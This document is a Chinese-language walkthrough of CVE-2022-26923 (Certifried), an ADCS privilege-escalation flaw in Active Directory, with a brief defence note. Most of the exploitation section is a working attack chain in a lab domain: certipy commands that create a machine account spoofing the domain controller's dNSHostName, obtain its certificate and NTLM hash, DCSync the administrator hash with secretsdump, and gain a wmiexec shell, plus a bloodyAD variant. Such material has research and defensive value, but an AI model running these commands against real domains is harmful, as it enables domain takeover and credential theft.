CVE-2022-26923(ADCS)

漏洞披露

前置知识:

1.adcs可为域用户和机器账户申请证书

2.PKINIT 为 Kerberos 的扩展协议,可通过 X.509 证书用来获取 Kerberos 票据。总而言之可以将申请的证书转化为对应的TGT。(域用户转为域用户的TGT,机器账户转为机器账户的TGT)

3.PKCA扩展协议认证的时候,返回的PAC中包含了NTLM票据。(可以从用户证书中提取ntlm hash)

证书服务安装:

https://www.anquanke.com/post/id/245791

漏洞概述

该漏洞与去年年底的nopac通过修改sAMAccountName来达到欺骗KDC类似,这个漏洞的利用是通过修改机器账户的dNSHostName来欺骗KDC。

定位ADCS服务器

1.域内利用certutil

certutil -config - -ping

2.LDAP中查找

CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteam,DC=lab

用户申请证书

UPN(userPrincipalName)是基于Internet标准RFC 822的用户样式登录名,UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定,用户格式为:username@domain.name。

域名:redteam.lab

SamAccountName:marry

NetBIOS登录名:reedteam\marry

UserPrincipalName:marry@redteam.lab

用户申请证书时,ADCS Server将申请证书用户的UPN属性值添加到颁发证书的备用名称中,使用证书时将 UPN 从证书映射到目标用户进行识别,因为UPN是可选并在域林中的安全主体对象名中保持唯一,所以通过修改成与任意DC相同的UPN属性不会成立。

机器账户申请证书

机器账户申请证书时,CA 将从 Active Directory 中请求者用户对象的dNSHostName属性获得的值添加到已颁发证书的主题备用名称中进行识别,dNSHostName属性在AD中不要求唯一,所以可以通过修改成与任意DC相同的dNSHostName来达到欺骗ADCS的效果,实现域内提权。

漏洞利用需要修改机器账户dNSHostName字段,但如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所说:

修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。

添加机器帐户默认会创建4个SPN,包括以下内容:

1. HOST/MachineAccountName
2. HOST/MachineAccountName.domain.name
3. RestrictedKrbHost/MachineAccountName
4. RestrictedKrbhost/MachineAccountName.domain.name

意味着将要利用的机器账户改成和DC相同的SPN,但是SPN是网络控制器服务实例的唯一标识符,Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,这时会产生冲突;但如果servicePrincipalName属性中HOST/MachineAccountName.domain.name和RestrictedKrbhost/MachineAccountName.domain.name在设置以上属性之前已被删除,那么SPN列表将不会更新,除非再次给该字段赋值。

漏洞利用

1.域用户添加机器账户Lzz$

certipy account create redteam.lab/marrys:'Qq123456..'@192.168.129.130 -user Lzz -dns 'DC1.redteam.lab'

2.申请Lzz$的机器证书

certipy req redteam.lab/Lzz\$:'ByEFrd1Qyn1imbvt'@192.168.129.151 -ca 'redteam-ADCSMACHINE-CA-1' -template 'Machine'

3.将证书转换为TGT(返回的PAC中同样包含了ntlm hash)

certipy auth -pfx dc1.pfx -username DC1\$ -domain redteam.lab -dc-ip 192.168.129.130

4.DC机器账户具有dcsync权限,利用证书中提权出来的ntlm hash进行dcsync

python3 secretsdump.py 'redteam.lab/DC1$'@192.168.129.130 -hashes :641347068fbb231b1e14fac2280dd818 -just-dc-user administrator

5.wmi通过administrator进行远程连接

python3 wmiexec.py 'redteam.lab/administrator'@192.168.129.130 -hashes :5e95607216d9a4b7654d831beb9ee95c

bloodyAD.py打法

python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 getObjectAttributes  'DC=redteam,DC=lab' ms-DS-MachineAccountQuota                     

python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 addComputer cve 'CVEPassword1234*'

python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 setAttribute 'CN=cve,CN=Computers,DC=redteam,DC=lab' dNSHostName '["DC1.redteam.lab"]'

python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 getObjectAttributes 'CN=cve,CN=Computers,DC=redteam,DC=lab' dNSHostName                  

certipy req 'redteam.lab/cve$:CVEPassword1234*@192.168.130.151' -template Machine -dc-ip 192.168.130.130 -ca redteam-ADCSMACHINE-CA

certipy auth -pfx dc1.pfx -dc-ip 192.168.130.130   fail

openssl pkcs12 -in dc1.pfx -out dc1.pem -nodes

python3 bloodyAD.py -d redteam.lab  -c ":dc1.pem" -u 'cve$' --host 192.168.130.130 setRbcd 'CVE$' 'dc1$'

MAQ=0利用

1.利用原有机器账户

2.ACL

这里不做具体分析,后面有时间会专门出一个ACL的总体利用。

防御

1.限制MAQ=0
2.打补丁

参考

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html

  • Created 2022-10-22 06:00
  • Published 2022-05-13 06:01
  • Updated 2024-10-21 01:39